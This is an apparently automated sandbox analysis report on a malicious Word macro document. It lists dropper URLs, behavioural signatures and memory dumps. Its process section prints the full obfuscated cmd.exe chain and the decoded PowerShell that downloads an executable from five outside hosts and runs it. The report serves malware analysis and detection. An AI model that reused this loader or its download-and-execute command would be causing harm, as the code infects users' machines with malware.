Analysis
- max time kernel
138s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 10:11
General
- Target 10454198bdde3683cf82398fc703ac8e_JaffaCakes118.doc
- Size 69KB
- Sample240503-l742pseb87
- SHA256 584e410d67d4ff1612ae6e84cf83c7a35164e1cf2e9e14b49546df1f4ed7affa
Malware Config
Extracted
-
ps1
-
exe.dropper
http://bemnyc.com/F600ot7TXS
-
exe.dropper
http://www.yuanjhua.com/IVPLeHMt9
-
exe.dropper
http://challengerballtournament.com/aM2eufrkJB
-
exe.dropper
http://www.eurekalogistics.co.id/jsn/emc/emc_driver/uploads/UNDMTpk
-
exe.dropper
http://fluorescent.cc/kzXZuPDCt
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 3 IoCs
- An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10454198bdde3683cf82398fc703ac8e_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\Cmd.exeCmd /V^:^O/C"s^e^t ^y^i^s5=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}}{^hc^t^ac};ka^er^b^;F^qu$^ m^etI-^e^k^ovnI^;)^Fq^u$^ ^,V^j^z$(e^l^i^Fda^olnw^oD^.LuF${^yrt^{)vB^J$ ni^ Vj^z^$(hca^ero^f^;'e^x^e.'+c^s^i^$^+^'^\^'+cilbu^p^:vn^e^$^=^F^q^u$;'4^13^' = csi^$^;)'^@^'(t^il^pS^.'^tC^DPuZXz^k/cc^.tnecs^ero^u^l^f//:pt^t^h^@^k^p^TM^DN^U/sd^a^ol^p^u/r^evird^_cm^e/cme/n^sj/d^i^.oc^.^sc^it^si^g^ola^kerue.^w^w^w//:p^tt^h^@B^Jkr^f^ue^2^Ma/m^oc.^tn^emanr^u^ot^l^la^bre^gn^e^llahc//^:ptt^h^@9tMHe^L^PV^I/m^oc^.^auhjn^au^y.w^w^w//^:^ptt^h@^SXT^7to00^6F/m^oc^.c^ynm^e^b//^:^p^t^th^'^=v^B^J$;^tn^e^ilCb^eW.^teN^ ^tc^ej^b^o-^w^en=L^u^F^$ ^l^l^e^hsr^e^w^o^p&&^f^or /^L %^k ^in (^419;^-1^;^0)^d^o ^s^et ^orC^W=!^orC^W!!^y^i^s5:~%^k,1!&&^i^f %^k ^l^e^q ^0 c^a^l^l %^orC^W:*orC^W^!=%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $FuL=new-object Net.WebClient;$JBv='http://bemnyc.com/F600ot7TXS@http://www.yuanjhua.com/IVPLeHMt9@http://challengerballtournament.com/aM2eufrkJB@http://www.eurekalogistics.co.id/jsn/emc/emc_driver/uploads/UNDMTpk@http://fluorescent.cc/kzXZuPDCt'.Split('@');$isc = '314';$uqF=$env:public+'\'+$isc+'.exe';foreach($zjV in $JBv){try{$FuL.DownloadFile($zjV, $uqF);Invoke-Item $uqF;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_ddpfzofy.ndv.ps1
314.exe
memory/2132-44-0x0000018F23860000-0x0000018F23882000-memory.dmp
memory/2676-11-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-15-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-6-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-8-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-7-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-1-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-12-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-13-0x00007FFE07320000-0x00007FFE07330000-memory.dmp
memory/2676-10-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-9-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-18-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-19-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-22-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-21-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-20-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-17-0x00007FFE07320000-0x00007FFE07330000-memory.dmp
memory/2676-16-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-5-0x00007FFE4962D000-0x00007FFE4962E000-memory.dmp
memory/2676-14-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-40-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-42-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-41-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-43-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-2-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-4-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-3-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-0-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-549-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-550-0x00007FFE49590000-0x00007FFE49785000-memory.dmp
memory/2676-571-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-572-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-573-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-570-0x00007FFE09610000-0x00007FFE09620000-memory.dmp
memory/2676-574-0x00007FFE49590000-0x00007FFE49785000-memory.dmp